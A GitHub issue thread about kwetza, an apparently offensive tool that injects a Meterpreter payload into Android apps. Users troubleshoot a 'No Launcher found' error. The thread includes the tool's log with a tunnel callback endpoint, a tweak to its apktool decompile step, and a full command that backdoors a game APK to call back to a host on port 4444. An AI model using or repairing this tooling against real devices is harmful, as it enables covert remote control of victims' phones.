sensepost / kwetza

Python script to inject existing Android applications with a Meterpreter payload.
GNU General Public License v2.0
637 stars 237 forks source link

No Launcher found, please specify a target class #29

Open bmont434 opened 6 years ago

bmont434 commented 6 years ago

No Launcher found, please specify a target class

saeid5097 commented 6 years ago

what is "NO LAUNCHER FOUND, PLEASE SPECIFY A TARGET CLASS" in kweza

timpl23 commented 6 years ago

I have the same error

[] DECOMPILING TARGET APK [+] ENDPOINT IP: 0.tcp.xxxxx.io [+] ENDPOINT PORT: 11XXX [+] APKTOOL DECOMPILED SUCCESS [] BYTING TCP COMMS [*] ANALYZING ANDROID MANIFEST [DEBUG] Attempting to find MAIN [+] NO LAUNCHER FOUND, PLEASE SPECIFY A TARGET CLASS root@xxxxxxxx:~/kwetza-master#

even499891161 commented 6 years ago

Open kwetza.py script, edit:

NOW WE NEED TO DECOMPILE THE APPLICATION

command = ["apktool", "d", ""+cwd+"/"+sys.argv[1]] p = subprocess.Popen(command, stdout=subprocess.PIPE) result = p.communicate()[0] (remove option -f and -r parameters)

yotonz commented 6 years ago

How to change permission

WinMore commented 5 years ago

add AssistActivity python kwetza.py PokemonDuel.apk tcp 192.168.10.6 4444 yes AssistActivity